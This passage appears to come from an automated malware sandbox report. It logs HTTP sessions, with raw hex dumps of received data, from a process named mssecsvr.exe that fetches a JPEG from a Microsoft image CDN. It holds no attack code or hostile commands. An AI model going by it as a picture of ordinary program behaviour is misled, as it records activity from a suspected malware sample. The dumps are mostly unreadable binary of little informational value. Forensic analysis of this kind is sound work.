b8 5b 22 ed 8b 3e fe b5 f4 17 97 ce 7f a5 2f 97 ed 51 ec e3 7b 99 fb 18 5f 9a c7 0b Data Ascii: mf5+}k>x3Xx:k}'16SJAdp46ya~Od+w?%zJ@cKRgD:u6n5I2\|f+]3)=}vCRUgevgEy5/)ohQ^k'S3[">/Q{_
2022-07-20 13:44:17 UTC	1646	IN	Data Raw: 49 f3 46 fd cd 2b 7b b2 51 5b 22 d4 9f bb 80 80 46 7b e3 b5 47 e5 96 c1 04 1e 71 83 4c 9b 2c 57 9c a6 30 71 d6 8b 5c 33 e0 9c 81 e9 5b 25 a1 cf bb 2f d9 c6 1e 44 38 c1 27 95 3d 2b f5 8f e1 8a 88 fe 1c f8 4d 41 dc 06 91 68 03 63 19 fd ca 57 e4 e5 8e 3c e1 d7 1d 2b f5 ab c0 8a 60 f0 57 87 22 60 03 47 a6 5a a9 00 60 0c 42 9d ab 9e b6 e8 f4 30 bb 36 74 ab 4f dd c5 44 a6 97 f1 ac 51 d6 c9 37 52 66 9b ba 9b 4c 43 f7 52 6e a6 e7 a5 31 9b f1 a0 01 db de a0 92 41 4b 24 9e f5 9b ab 6a b6 ba 3e 9f 73 7f 7b 3a db 59 db c6 64 96 56 e8 aa 3f c8 c7 b9 14 0c 5d 53 54 b5 d2 6c 67 bd be b8 8e d2 d2 05 df 24 d2 b6 15 07 f9 ed 5f 20 fc 64 fd af 75 0b cb f7 d3 7c 13 3c 9a 5d 94 59 12 6a 0d 1a 99 a5 fa 67 3b 00 fc fd eb 8c fd a3 3f 68 89 3e 22 df fd 93 4d 13 d9 68 56 bb 56 0b Data Ascii: IF+{Q["F{GqL,W0q\3[%/D8'=+MAhcW<+`W"`GZ`B06tODQ7RfLCRn1AK$j>s{:YdV?]STlg$_ du\|<]Yjg;?h>"MhVV
2022-07-20 13:44:17 UTC	1709	IN	Data Raw: d1 51 ea f5 33 2e ad 17 cb 97 cc 46 77 53 d4 9e b5 eb df b3 3f c3 8b 7f 1d 78 c1 ae f5 3b 63 71 a6 69 b1 09 a4 8d be eb c8 4e 11 4f a8 ce 4e 3d ab cb e4 40 74 a9 72 72 d2 72 58 8e 4f 35 ef 3f b1 fe a4 d1 f8 ab 5a b2 52 7c a9 2c 55 d9 7a 02 ca e3 07 1f f0 23 5b b9 7b a4 d1 8a f6 aa fd 4f ab a1 8c 28 00 00 00 18 00 0c 01 56 a3 5e 07 ad 56 8d 87 15 3c 72 54 23 db d0 b0 b9 18 a9 97 35 5d 1c fa 54 81 8f 7e 29 92 4e 33 4f 07 15 02 b1 f5 a7 6e a0 5a 13 64 7e 34 bc 7a 73 51 6e a5 dd ef 9a 62 d0 93 03 d3 9a 30 3d 05 33 34 bb a9 80 ec 7b 0a 29 9b bd e9 72 68 01 f9 02 93 71 e9 4c 07 bd 2e 68 01 d9 a2 99 46 ef 7a 00 76 45 23 1e d4 dd d4 9b bd f1 40 0f 07 14 67 d2 a3 dd ef 46 e1 eb 40 0f dd ef c5 1b 85 47 bb 14 9b ff 00 0a 62 b9 2e e1 49 ba a1 2e 7d 68 dd 9a 2c 17 25 Data Ascii: Q3.FwS?x;cqiNON=@trrrXO5?ZR\|,Uz#[{O(V^V<rT#5]T~)N3OnZd~4zsQnb0=34{)rhqL.hFzvE#@gF@Gb.I.}h,%
2022-07-20 13:44:17 UTC	1749	IN	Data Raw: d3 39 e0 d1 16 27 8c 92 02 38 39 c1 6c 0a e8 d1 9e 77 bd 17 a1 eb 3f f0 d5 9f 10 23 98 e7 50 b6 90 6d c0 53 67 1e 3e bc 0a d0 9b f6 b6 f1 84 f6 f2 db 45 f6 25 b8 65 c0 9a 3b 7c 30 cf a7 38 cd 78 8c a8 63 62 ac 36 f6 dd 9c 13 50 bc 66 da 42 d0 ca 32 57 80 07 34 72 a2 fd b5 4d ae 6f 5c 78 a3 50 d6 f5 53 3e a6 f3 32 39 f3 24 6c 92 09 f5 fa d1 ac 6b 16 91 b2 7d 9e 13 10 db 97 61 c3 b9 f7 3d 85 73 50 5e 37 98 5a 5c b1 c6 37 76 ab 48 6d ee 9c e5 58 80 3a b3 75 a1 c5 5e e4 2a 8e 4a c5 b1 74 8b 0a c8 32 3e 52 3e 63 9f d3 f1 ac 95 b8 77 90 e5 7e 52 3d 38 15 71 55 75 09 d1 5a 56 48 14 63 2a 30 29 97 4d 04 6c 40 75 71 d0 01 ce 29 ab 2d 08 77 7a 85 ad 88 9f 2e 43 1e 72 0a d5 b9 57 6d a6 e5 90 17 c1 1b 37 72 7e 9f 4a ab 67 a9 63 19 04 2a f1 f2 f1 9a 4b ed 45 af 19 c2 Data Ascii: 9'89lw?#PmSg>E%e;\|08xcb6PfB2W4rMo\xPS>29$lk}a=sP^7Z\7vHmX:u^Jt2>R>cw~R=8qUuZVHc0)Ml@uq)-wz.CrWm7r~Jgc*KE
2022-07-20 13:44:17 UTC	1836	IN	Data Raw: aa 37 70 08 c7 5e 2b e6 4f 0f a9 6d 72 c9 42 ab 1f 35 40 57 38 52 73 d3 35 f4 4d fe af 71 7d a5 ea f0 da c2 ac f1 00 45 c2 8d a1 98 ae d2 3d 38 27 f4 15 e7 62 b7 8a 3d 5c 13 b4 64 65 b5 bc 76 fa 5b cd 71 18 b9 bc 68 e4 f2 8e d2 c8 a4 e7 a7 d0 7e a4 57 17 69 2c d3 5f 44 2c d4 4c b0 c6 59 5a 4f 95 46 06 73 f5 e2 bb 1f 19 cd 2e 9b e1 bd 1a ce 16 78 1d d0 ee 67 6c b9 f9 46 70 7d c9 ae 6a 23 1e 8b a5 22 94 04 cc ac aa 18 e0 0c 8c 33 fa 9e 0f 15 34 7e 1b f7 35 ad f1 5b b1 57 50 d1 e3 b7 b4 82 ec c9 f6 99 e6 19 96 4c 1c 96 f6 3e 83 3f a5 73 ba a5 c2 06 3b 15 83 28 20 82 3a 7b fe b5 bd 75 a9 43 25 bc 11 15 68 82 0d a0 30 2b 9f 53 f8 f1 58 ba b2 ee 9f 6c 2c 00 61 c1 03 3b ab aa 37 ea 71 cd ab 68 62 43 18 da 64 76 c8 c7 4c f2 6a 7b 7b af 30 ed 21 46 79 19 e3 14 df Data Ascii: 7p^+OmrB5@W8Rs5Mq}E=8'b=\dev[qh~Wi,_D,LYZOFs.xglFp}j#"34~5[WPL>?s;( :{uC%h0+SXl,a;7qhbCdvLj{{0!Fy
2022-07-20 13:44:17 UTC	1924	IN	Data Raw: 3d 39 c6 16 bb 8f 31 de e4 9b 8b 30 3c 01 d3 6f 51 53 e0 e0 e3 a6 33 80 2a 1c 05 20 9c 67 b9 1d a9 56 42 1b a3 7b 91 c8 1c 53 11 dc fc 19 d2 53 50 f1 82 5d cc 88 60 b0 85 ae 5b cc fb a5 be ea 8f cd bf 4a e8 3e 27 6a 06 68 52 15 6c 79 84 b6 de c1 7d fb 92 40 15 27 c1 3d 23 ce d2 75 5b a7 56 1e 7b ac 51 b9 5f 97 0a 39 23 d7 05 c7 e5 5c af 8d b5 81 7f af 5c b2 a1 62 ad 8e 99 db c7 4f f3 ef 5c 1f 1d 77 e4 7a 6b f7 78 65 e6 73 13 2e 64 2a 30 39 e0 f6 a6 cc 5a 48 d7 1f 2e 06 01 3d 0f e1 4b 8e ad 81 82 70 00 19 c7 d2 97 21 59 f6 a9 5c 2f 39 35 da 70 19 17 19 f3 0e d2 33 9e 3b d1 17 2c 07 ca 7e 71 9e 33 4d 66 f9 b7 1e 39 cf 1d aa 45 c2 b2 e0 e3 71 03 e9 54 47 a1 db e9 72 04 92 e6 4c 90 ca 0e d2 38 cf 15 c8 de 48 65 90 b3 7c c7 27 19 e3 8f f2 6b 72 19 c2 e9 ae 4b Data Ascii: =910<oQS3* gVB{SSP]`[J>'jhRly}@'=#u[V{Q_9#\\bO\wzkxes.d*09ZH.=Kp!Y\/95p3;,~q3Mf9EqTGrL8He\|'krK
2022-07-20 13:44:17 UTC	1948	IN	Data Raw: 95 6c 72 c0 e4 e2 ba 7f 03 f8 ba eb c1 3a fd 96 ab 6c f8 92 d6 51 20 00 70 cb fc 4a de c4 13 9f ad 67 25 74 6d 4e 5c b2 3e d9 b7 be 99 58 89 22 b8 2d 8e 09 45 3f c8 d3 da e2 e2 41 b9 5d 93 9e 44 91 e4 7e 86 ad 78 5b c6 16 3e 32 d0 ed b5 5d 29 cc b6 d3 0c 15 07 2d 13 77 46 f7 19 fe 55 b7 05 c6 df bc 40 1f ed 02 0d 73 39 5b a1 ea 46 37 5a 33 9e 4d 42 e0 a9 56 0c 5b b7 96 a3 3f 91 a7 ad dd c4 aa 32 92 f3 c7 41 91 5d 3a dd 0e ce ac 69 45 d1 6e 85 47 e2 0d 2e 6f 22 f9 3c ce 4c 5f 4f 18 63 2d b5 d0 da 70 1b 19 a9 22 d4 1e 68 7f 76 25 e3 f8 42 e4 8a ea 85 c1 1d 83 8c f4 34 f5 9b 76 36 c4 9f 80 19 34 73 79 07 27 99 c7 46 b2 b6 f9 43 dc e7 3c 2b 29 00 d4 cd e6 32 96 11 48 0e 31 cb 35 75 66 69 07 fc b3 50 bd e9 c6 69 41 dd e4 29 ee 48 1c d3 e6 0e 44 72 8b 71 3c 2a Data Ascii: lr:lQ pJg%tmN\>X"-E?A]D~x[>2])-wFU@s9[F7Z3MBV[?2A]:iEnG.o"<L_Oc-p"hv%B4v64sy'FC<+)2H15ufiPiA)HDrq<*
2022-07-20 13:44:17 UTC	2011	IN	Data Raw: 64 b3 f1 46 ab 6f 32 b2 ba dc 48 08 6e 0f de cf f5 a5 1d db 34 6b dc 45 18 98 47 18 3c 12 a7 27 23 19 ad b6 9a 4f ec d9 08 c0 0c 40 4e 78 35 87 0b 1f 2d d7 af 3c 1c 71 5a 2d 3f fa 1c 60 8d c0 37 cc 73 49 89 3b 14 f5 a5 66 b6 8d d8 15 2a de b9 e0 ff 00 fa ab 3e 16 da c0 90 40 ea 3d ab 5f 55 02 e3 4d 91 a3 e4 29 53 b7 d3 b5 66 46 01 50 0f 03 3d 71 54 4b dc d3 b5 bc 93 70 61 f2 9c f5 23 22 ae 44 ad 6d 75 26 1c c6 64 52 01 cf 3f 95 66 42 b8 20 f2 46 7d 7a 55 d9 bc c9 02 02 0b 15 5c 02 3a 8a 8b 6a 69 7d 0f 6b f8 51 a6 6a 9e 20 f0 dc ed 60 91 97 85 ca 2c b3 49 83 1b 1e 7a 7b e6 ba 46 f8 6b e2 29 92 31 24 b0 9d c5 99 f1 39 1b 5b a0 3c 7f 4a e6 ff 00 66 bd 6c db ea 1a a6 99 21 63 e7 44 b3 46 0f 3f 32 9e 7f 46 fd 2b dd db 50 f2 d8 e6 09 0a 01 9c ed 27 3f 4a c7 d9 Data Ascii: dFo2Hn4kEG<'#O@Nx5-<qZ-?`7sI;f*>@=_UM)SfFP=qTKpa#"Dmu&dR?fB F}zU\:ji}kQj `,Iz{Fk)1$9[<Jfl!cDF?2F+P'?J
2022-07-20 13:44:17 UTC	2027	IN	Data Raw: 00 3f 3a 64 dc b8 63 5e ee df 9d 55 96 dd 59 98 89 c8 c8 c0 03 1c 56 7e a1 ac 47 05 9d c4 91 b1 95 e3 00 11 1a ef 00 9a e6 2f bc 55 a8 5b 86 69 9a d6 c9 54 ae c5 69 57 cc 7f 5e 09 fc a8 b9 0d ab 9d 21 f0 fc f1 c6 16 3d 62 e1 7e 62 4b 32 ab 1c 7a 7f 9f 4a c1 bb f8 75 36 a1 e6 b5 ce bb 2c e5 c1 ca 18 f0 a3 d3 8f c2 b8 dd 7b c6 1e 21 92 65 7b 4b 99 62 b6 90 12 bb 51 41 5f 72 4f a5 56 87 4d d5 35 6f 26 78 ee 75 07 f3 94 e6 59 2e 76 a9 6e e0 01 d7 a1 ac ee 99 1c ca fa 23 b3 ff 00 85 6f 2d ad b1 8a 1b d5 90 30 0a c1 81 50 57 e8 3f 1f ce b2 2e 7c 3f 7e 8f 19 36 a6 53 17 cb 1c 4a 18 e5 41 c0 c9 ed 52 5b d9 ea f0 5b c5 6a 53 16 d0 ab 10 f7 53 30 32 37 5c 03 91 8f ce 9d a7 5b eb eb 0c 1b a4 68 a4 63 9d b7 12 28 58 97 39 e7 07 24 52 e5 5d 82 e4 93 e9 cd a2 f9 93 49 Data Ascii: ?:dc^UYV~G/U[iTiW^!=b~bK2zJu6,{!e{KbQA_rOVM5o&xuY.vn#o-0PW?.\|?~6SJAR[[jSS027\[hc(X9$R]I
2022-07-20 13:44:17 UTC	2107	IN	Data Raw: 14 97 4e 60 8b 91 b6 36 cb 74 ef c7 bd 3a e3 c6 d7 b3 5a ac d6 f6 17 10 96 6d b9 da b2 01 f5 e4 60 7b d6 05 e7 87 75 cf 38 6e b7 96 52 a3 89 21 9c 8f d3 d7 8f d6 96 fa 1f 10 59 e9 f2 cd 06 9a d1 3c 7c 86 92 5f 33 18 f6 ff 00 3d 68 e6 90 7a 9d 0d bf 8d ae d6 c5 24 6b 06 9d d9 bc b1 20 75 c1 6c e3 24 2e 6a c3 78 ba 69 23 95 52 d2 61 70 a3 02 21 16 58 b7 a8 39 c6 2b 97 b7 b3 d7 5e 19 a4 ba 86 e9 5a 62 08 48 a2 42 13 8e dc fb d6 54 96 9a e4 7a 80 74 b7 d4 37 b8 21 37 b8 28 3d c8 1c 76 a2 f3 03 a4 b3 f1 76 b1 79 76 63 f3 e0 65 d9 b8 c7 14 79 70 d9 e9 d7 fc f3 4e ff 00 84 8b 5a 92 1c f1 1e e7 20 04 60 0e 7d 32 41 1d ab 99 d3 b4 fb b8 e4 58 6e 6c 26 8e 59 03 30 92 08 88 03 e8 ca 73 d4 1a cb d5 35 2d 42 ce e1 e4 8e d6 44 7e 18 ac b1 16 21 ba 72 33 fe 73 4a f2 b9 Data Ascii: N`6t:Zm`{u8nR!Y<\|_3=hz$k ul$.jxi#Rap!X9+^ZbHBTzt7!7(=vvyvceypNZ `}2AXnl&Y0s5-BD~!r3sJ
2022-07-20 13:44:17 UTC	2155	IN	Data Raw: 5f 31 5b a3 03 db 81 40 87 bc db b8 24 fe 78 a6 f9 aa bd 5b 07 3c 73 9a 4d de a0 11 48 51 65 ea 17 3d b9 a6 1a 8a cd bb 38 6c fb e7 91 51 36 e5 c1 dc 31 9e 98 e4 d4 a2 d9 15 79 c6 3a f0 6a 39 2d d4 64 72 47 5e 0d 04 3b 90 bc 92 85 01 0a 7e 22 98 2e 25 5f e0 46 fa 1a 90 59 a9 3c 96 e9 c6 d3 c0 a8 e4 b1 8f 76 77 b8 39 ec 69 e8 43 e6 1b 25 e1 e7 f7 44 9e f8 e9 4c fb 71 55 07 63 7e 27 02 a6 fb 1c 7b 71 e6 b1 f5 39 eb ef 4c 6d 3a 3e 08 2c dc f4 27 8a 64 fb c3 7f b4 d1 08 3f 37 5c 01 9a 9d b5 28 b1 f3 32 e7 1d 33 55 24 b1 6d c0 ab 63 1d 88 ce 69 8f a7 33 0c ef 5f 71 8a 5a 05 e4 8b bf 6c 85 b2 77 81 df ad 23 5f 5b b6 47 9a 41 f7 38 ac c3 a7 8f 33 98 83 0c 70 41 c5 44 fa 38 c6 42 6d 3d 70 4f 14 68 2e 69 1b 51 dc 44 dc 2c eb f4 cd 4b bb 91 fb d5 1d 87 35 85 f6 36 Data Ascii: _1[@$x[<sMHQe=8lQ61y:j9-drG^;~".%_FY<vw9iC%DLqUc~'{q9Lm:>,'d?7\(23U$mci3_qZlw#_[GA83pAD8Bm=pOh.iQD,K56
2022-07-20 13:44:17 UTC	2218	IN	Data Raw: 7a 66 a6 c9 38 e3 27 a0 18 a1 14 63 1b 69 d9 45 ed 48 b1 36 67 19 51 ed 8a 8f c9 5d c4 90 08 f4 02 a5 59 07 6e 0e 38 06 9e 26 1c 74 1e f4 87 a1 07 93 17 19 43 f9 53 bc a8 fb 1c 73 c7 7a 90 48 32 7a 63 d7 34 86 41 dc 03 eb 83 48 7a 0d 08 99 1c 64 7d 28 65 1c ed 1b 7b 67 18 14 a2 65 51 e9 f8 f2 29 b2 4c 17 bb 67 3d b9 a6 0e dd 08 ca 37 50 7d f1 8a 76 7d 46 4f 6e d5 13 dd 28 fe 3c 1f 71 51 1b b4 66 39 90 fa 8a 66 77 2d 2b 77 19 03 ae 32 7a 54 9e 60 e0 e1 87 6f 5a a1 f6 81 b8 6d 95 5b 9c 60 9e 6a c2 be ee f9 fc 73 4c 77 25 6b 8c 2f 6c f5 e4 74 a6 79 ce d9 fb a4 fa f4 a6 b4 83 ba e4 e3 a5 39 58 f5 c0 03 1c e6 90 5c 72 e5 ba 85 3e 87 38 a4 6c 2b 63 01 7f 1c 8a 72 c8 ab 8e 54 1f 7a 1a 4c e7 e4 56 19 a2 e3 5a 91 79 60 e4 ef 04 75 e2 90 7c a7 0d c9 cf 5c e3 35 2e Data Ascii: zf8'ciEH6gQ]Yn8&tCSszH2zc4AHzd}(e{geQ)Lg=7P}v}FOn(<qQf9fw-+w2zT`oZm[`jsLw%k/lty9X\r>8l+crTzLVZy`u\|\5.
2022-07-20 13:44:17 UTC	2258	IN	Data Raw: c6 32 86 af 62 ae bf a8 dc 78 2b c5 37 46 c6 46 8a d2 ff 00 f7 82 30 06 d3 cf 3d 7a 7f f5 e8 d5 b5 ad 3f c4 96 b2 35 9b 8b 4d 41 bf d6 a5 cf 2a fc f4 fc 6b 73 e2 4e 96 b6 f6 da 73 79 b0 5c 1c 96 52 bf 78 00 39 e3 f2 af 3b 96 cc 0b ab d9 21 90 a4 b0 aa b3 15 1d 8f 5c 66 a9 77 26 57 8b 68 9f 4d 93 55 f0 e0 91 fc 96 9e c0 7c cc a4 e7 67 b8 35 d5 c3 70 ba c5 9e f9 11 a4 8a 32 18 b4 43 20 a9 ed ff 00 d6 f6 ae 77 40 f1 31 b2 67 8e e0 09 51 b8 66 20 63 6f 62 05 74 33 43 6f 26 27 48 1e d5 fe f0 92 31 85 6f 7c 0e 0f ff 00 5e 94 bc c5 0d 87 eb da 6a d9 78 66 f0 45 33 cb 08 1e 61 00 00 c1 7b 8f d6 b9 1b 49 9f fb 3f 76 8f 68 ae db 30 db 49 69 17 df 9e ff 00 4a d1 be 6d 55 19 cd b4 f1 b4 4c 36 c8 8c 3e 46 07 af 5a c8 d0 ff 00 d1 35 47 b6 b7 90 03 22 9c f9 6f bb 1f fe Data Ascii: 2bx+7FF0=z?5MA*ksNsy\Rx9;!\fw&WhMU\|g5p2C w@1gQf cobt3Co&'H1o\|^jxfE3a{I?vh0IiJmUL6>FZ5G"o
2022-07-20 13:44:17 UTC	2345	IN	Data Raw: 39 e9 96 e4 9a b0 d2 6d 8c 46 bb 47 70 cb cd 12 93 61 18 d8 e7 35 0d 1d fe ce 04 96 9e 59 55 c3 38 20 e4 57 3c fa 68 b7 98 c8 83 e6 27 95 27 93 5e 85 34 b2 b4 3e 5f 9b f7 7a 36 3a d6 51 b1 0d 97 94 23 9f 50 b8 34 a2 d8 a5 14 de 85 3d 1f 56 96 36 48 64 4f 2d 16 40 64 3d 37 ff 00 bc 7d 3f c2 ba c8 3c 7e 9a 6c b7 73 c0 1a 44 8d 0b aa 01 81 f7 87 3c f3 eb f9 9a ca 56 86 48 f6 04 08 48 e1 b1 83 9a 86 eb 41 8f 56 f3 54 3a c4 ec b9 04 1c 1c ff 00 91 58 b8 c5 bf 79 68 68 a5 28 af 75 99 13 49 0e a0 d3 df de c8 d2 dd b9 2e b2 6e c9 dd c9 e4 74 c0 e2 a8 5c 58 ce 96 f0 b5 a4 c9 3c 92 12 3c a4 5e 73 d7 9c 9f af eb 53 dd f8 75 ec f2 26 39 e3 96 53 4d b7 b3 b8 b3 40 f0 86 66 60 46 18 72 07 ad 6a 93 5b 33 9e 5a f4 39 bb 8d 96 f0 cc be 61 33 31 dd 23 2f 00 36 7e e8 fa 54 Data Ascii: 9mFGpa5YU8 W<h''^4>_z6:Q#P4=V6HdO-@d=7}?<~lsD<VHHAVT:Xyhh(uI.nt\X<<^sSu&9SM@f`Frj[3Z9a31#/6~T
2022-07-20 13:44:17 UTC	2361	IN	Data Raw: 00 c6 6b 2d ad c9 7f 90 22 9c e7 3b f1 56 21 d3 de 4e 5a 76 fa 29 c8 a3 40 d4 ea fc 3d aa 2c 91 c9 11 39 07 90 bd 08 ac dd 6e 48 e1 93 71 dc 87 3c 92 31 4e d1 ec 52 19 95 9a 46 27 3c 71 5a ba bd 9c 37 16 fd 71 c6 7e 63 d6 a4 be 97 39 e8 e6 59 d3 28 e0 8c 74 ce 29 5a cd d9 8b 44 54 1c 73 91 d6 9a ba 70 5f ba e0 8c f4 07 8a 95 6c a4 8d 8b 00 71 d7 af e9 40 6e 4d 63 6f 79 8c 14 46 1e dc 11 57 64 b5 91 b0 1a 2d 83 1f 78 73 59 f0 bd d4 2c 76 b8 23 d0 f1 57 96 f9 f6 00 ca c5 bb d0 56 88 93 c9 3f 67 20 05 38 1c 30 ea 2b 35 a0 6e 18 8e 73 f9 d5 c9 75 15 d8 77 6f 03 b7 cb 55 cd cc 6c b9 59 08 3d 70 c2 82 59 5a 48 d8 e4 87 0b 9e 79 14 d8 de 54 5e 79 1e b8 e6 9d 34 c5 72 41 cf a1 c7 5a 8f fb 40 2a f2 ab 9e c4 1c 53 11 0b 5e 34 72 1c 93 8c 60 0c 53 c4 d1 b0 53 bb 96 Data Ascii: k-";V!NZv)@=,9nHq<1NRF'<qZ7q~c9Y(t)ZDTsp_lq@nMcoyFWd-xsY,v#WV?g 80+5nsuwoUlY=pYZHyT^y4rAZ@*S^4r`SS
2022-07-20 13:44:17 UTC	2480	IN	Data Raw: e6 03 af de e6 95 82 e4 fc af 3d 3d 69 be 70 1d bf ae 6a 20 a5 47 df 60 73 46 19 3f 8b 1f 85 01 72 66 99 b8 c0 e3 1c 8f 4a af 35 f7 96 d8 c3 03 8e 77 0c 0a 7f 98 c7 19 da 71 f9 d2 e3 7f 04 03 db 9a 2c 17 1d 0c e2 45 04 1c e4 75 53 c5 39 b6 4a b8 fc 0e 47 3f 5a 82 38 56 11 f2 70 33 92 07 4a 93 77 5c 82 3f 9d 03 bf 71 16 04 5e 08 56 1d 39 14 a2 14 dc 33 c1 cf 41 c6 29 a3 3c f0 57 f0 a5 dc 1b 8d d8 3e 84 52 16 83 86 23 6c e4 e3 eb 9a 56 6d c3 ae 46 3a 1a ae d9 ee 41 23 8e 29 3c c0 a4 fc a7 39 e0 8a 76 02 79 12 36 19 c0 cf d3 19 aa ec b1 ae 3f 74 e4 93 f4 14 ef b4 2f 7c 8f a8 c5 30 de 46 cd 82 eb e9 8e d4 6a 0d a3 ec 15 b6 45 84 a4 4c b0 a6 30 0a a8 05 7e 83 a5 38 21 8e 30 be 6b 39 51 8d cd 8c 9f ae 2a 26 c9 c8 66 5d a7 b6 3a 54 37 56 c6 68 b6 ac b2 44 a0 73 Data Ascii: ==ipj G`sF?rfJ5wq,EuS9JG?Z8Vp3Jw\?q^V93A)<W>R#lVmF:A#)<9vy6?t/\|0FjEL0~8!0k9Q*&f]:T7VhDs

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.7	50724	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:17 UTC	240	OUT	GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 13:44:17 UTC	257	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4PtWe?ver=aadd Last-Modified: Sun, 17 Jul 2022 19:15:33 GMT X-Source-Length: 1675066 X-Datacenter: northeu X-ActivityId: be4c5f6a-3fc7-47d3-a344-5a38aa52b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1675066 Cache-Control: public, max-age=192634 Expires: Fri, 22 Jul 2022 19:14:51 GMT Date: Wed, 20 Jul 2022 13:44:17 GMT Connection: close
2022-07-20 13:44:17 UTC	257	IN	Data Raw: ff d8 ff e1 27 d7 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 32 30 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: 'ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:20:328"
2022-07-20 13:44:17 UTC	324	IN	Data Raw: a5 6d 0a ae 47 4d cc ab 2a bc 2c 6a 85 75 64 7a 86 97 82 e2 f7 96 fb ec 76 1d ae ad d6 33 77 e8 d9 53 ff 00 73 fe dd 5a 9d 2e ec 9c 8e 97 5b 03 5a de 9d 8f 93 63 45 a5 cd f4 6c ae bb 1e ff 00 d2 b9 f6 d4 db bd 26 7d 0f 66 cb ff 00 9b ff 00 07 62 6e b5 83 92 fc 1a 2d 36 e3 e5 d9 83 75 6f 6d 9b 89 73 eb 6b bd 94 b2 f6 fb dd 5f a7 6f af 6b 29 af f4 7f e6 57 4d a1 93 87 39 88 90 f5 4e 56 3c 7e 58 e4 e1 e3 f6 f8 f8 91 fa 3e 41 1d fd 3b a3 d3 90 ca 6d 7b 81 f4 b6 dc c7 d0 e0 00 21 d4 fa bb 5c dd f7 3b 1f d9 ea 55 b7 df fd 22 bf f0 94 e4 71 9f 64 bf f7 8f f3 9f 64 fa 7f e1 3f d2 ff 00 57 fd 7d 45 db e7 7d 61 e9 e0 b8 63 62 da 2c b9 e1 d5 39 ef 01 b2 c2 6c 05 df cf b7 d5 7b 9f fa 46 57 e8 fa ec fe 7b fd 12 c5 fd ad 67 fd c5 c7 fe 91 f6 8f cf fe 73 fc ef e7 7f ee Data Ascii: mGM*,judzv3wSsZ.[ZcEl&}fbn-6uomsk_ok)WM9NV<~X>A;m{!\;U"qdd?W}E}acb,9l{FW{gs
2022-07-20 13:44:17 UTC	358	IN	Data Raw: 74 74 79 49 6d 61 67 65 73 5f 31 37 35 37 35 35 30 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 36 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 51 34 32 30 31 36 5f 5a 61 62 72 69 73 6b 69 65 50 6f 69 6e 74 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 35 34 37 34 30 38 38 36 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 39 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 Data Ascii: ttyImages_175755036_1080x1920.jpg saved 2016-07-08T16:36:39-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_Q42016_ZabriskiePoint_GettyImages_547408861_1080x1920.jpg saved 2016-07-08T16:39:50-07:00 Fi
2022-07-20 13:44:17 UTC	426	IN	Data Raw: 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 50 65 67 67 79 73 43 6f 76 65 43 61 6e 61 64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 5f 31 31 37 33 31 30 32 32 31 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 38 3a 34 34 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 45 6c 2d 6e 69 64 6f 50 68 69 6c 69 70 70 69 6e 65 73 5f 35 30 30 70 78 5f 31 32 38 32 30 39 35 30 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 Data Ascii: 4-125-Batch2_PeggysCoveCanada_GettyImages_117310221_1080x1920.jpg saved 2016-07-08T18:44:24-07:00 File 